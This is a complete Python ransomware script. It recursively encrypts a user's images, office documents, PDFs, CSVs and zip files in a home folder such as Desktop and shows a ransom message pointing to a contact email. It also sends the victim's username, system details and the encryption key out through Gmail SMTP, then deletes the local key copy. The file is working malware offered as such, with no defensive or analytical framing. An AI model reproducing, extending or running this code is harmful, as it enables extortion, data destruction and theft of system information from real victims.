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ransomware.py
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ransomware.py
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import argparse
import getpass
import os
import pathlib
import smtplib
import platform
from cryptography.fernet import Fernet
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from dotenv import load_dotenv
######################## ARGUMENTS ########################
parser = argparse.ArgumentParser(description=f'Your files have been encrypted. Contact us ({os.environ.get("gmail_account")}) for further details and to get the decryption key.')
parser.add_argument('-k', '--key', type=str, metavar='', help='add cryptographic key to decrypt the document')
parser.add_argument('-b', '--backup', help='add cryptographic key to decrypt the document', action='store_true')
parser.add_argument('-d', '--directory', type=str, metavar='', help='add cryptographic key to decrypt the document', default='Desktop')
args = parser.parse_args()
######################## FUNCTIONS ########################
def navigate_to_target_directory(directory_name):
folder_location = pathlib.Path.home() / directory_name
os.chdir(folder_location)
return folder_location
def get_files_in_dir(current_directory):
targeted_file_types = [ '.png', '.jpg', 'jpeg','.doc', '.docx', '.xls', '.xlsx', '.pdf', '.csv', '.zip' ]
file_list = []
for root, subdirectories, files in os.walk(current_directory):
for file in files:
for file_type in targeted_file_types:
if file_type in file:
file_list.append(os.path.join(root, file))
for subdirectory in subdirectories:
get_files_in_dir(subdirectory)
return file_list
def send_email():
load_dotenv()
email_address = os.environ.get("gmail_account")
password = os.environ.get("gmail_password")
msg = MIMEMultipart()
msg['Subject'] = f'New Victim - { getpass.getuser() }'
msg['From'] = email_address
msg['to'] = email_address
crypto_key = f'{pathlib.Path(__file__).parent.absolute()}/cryptographic_key.key'
msg_body = (
f'Username: {getpass.getuser()} \n'
f'\n'
f'System: {platform.uname().system} \n'
f'None: {platform.uname().node} \n'
f'Release: {platform.uname().release} \n'
f'Version: {platform.uname().version} \n'
f'Machine: {platform.uname().machine} \n'
f'Processor: {platform.uname().processor} \n'
f'\n'
f'Cryptographic Key: { open(crypto_key).read() } \n'
)
msg.attach(MIMEText(msg_body,'plain'))
try:
smtp_server = smtplib.SMTP_SSL('smtp.gmail.com', 465)
smtp_server.ehlo()
smtp_server.login(email_address, password)
smtp_server.sendmail(email_address, email_address, msg.as_string())
smtp_server.close()
except Exception as error_msg:
print ("Error:",error_msg)
def generate_key():
key = Fernet.generate_key()
with open('cryptographic_key.key', 'wb') as key_file:
key_file.write(key)
send_email()
def encrypt_files(file_list):
with open(f'{pathlib.Path(__file__).parent.absolute()}/cryptographic_key.key', 'rb') as key_file:
cryptographic_key = key_file.read()
fernet = Fernet(cryptographic_key)
if file_list:
for document in file_list:
with open(document, 'rb') as file:
document_original = file.read()
document_criptat = fernet.encrypt(document_original)
with open(document, 'wb') as encrypted_document:
encrypted_document.write(document_criptat)
if args.backup == False:
os.remove(f'{pathlib.Path(__file__).parent.absolute()}/cryptographic_key.key')
else:
print('No document in directory')
def decrypt_files(file_list, cryptographic_key):
# with open(f'{pathlib.Path(__file__).parent.absolute()}/cryptographic_key.key', 'rb') as key_file:
# cryptographic_key = key_file.read()
fernet = Fernet(cryptographic_key)
for document in file_list:
with open(document, 'rb') as file:
document_criptat = file.read()
document_decriptat = fernet.decrypt(document_criptat)
with open(document, 'wb') as encrypted_document:
encrypted_document.write(document_decriptat)
######################## RUNING THE RANSOMWARE ########################
if args.key:
directory = navigate_to_target_directory(args.directory)
documents = get_files_in_dir(directory)
decrypt_files(documents, args.key)
else:
generate_key()
directory = navigate_to_target_directory(args.directory)
documents = get_files_in_dir(directory)
encrypt_files(documents)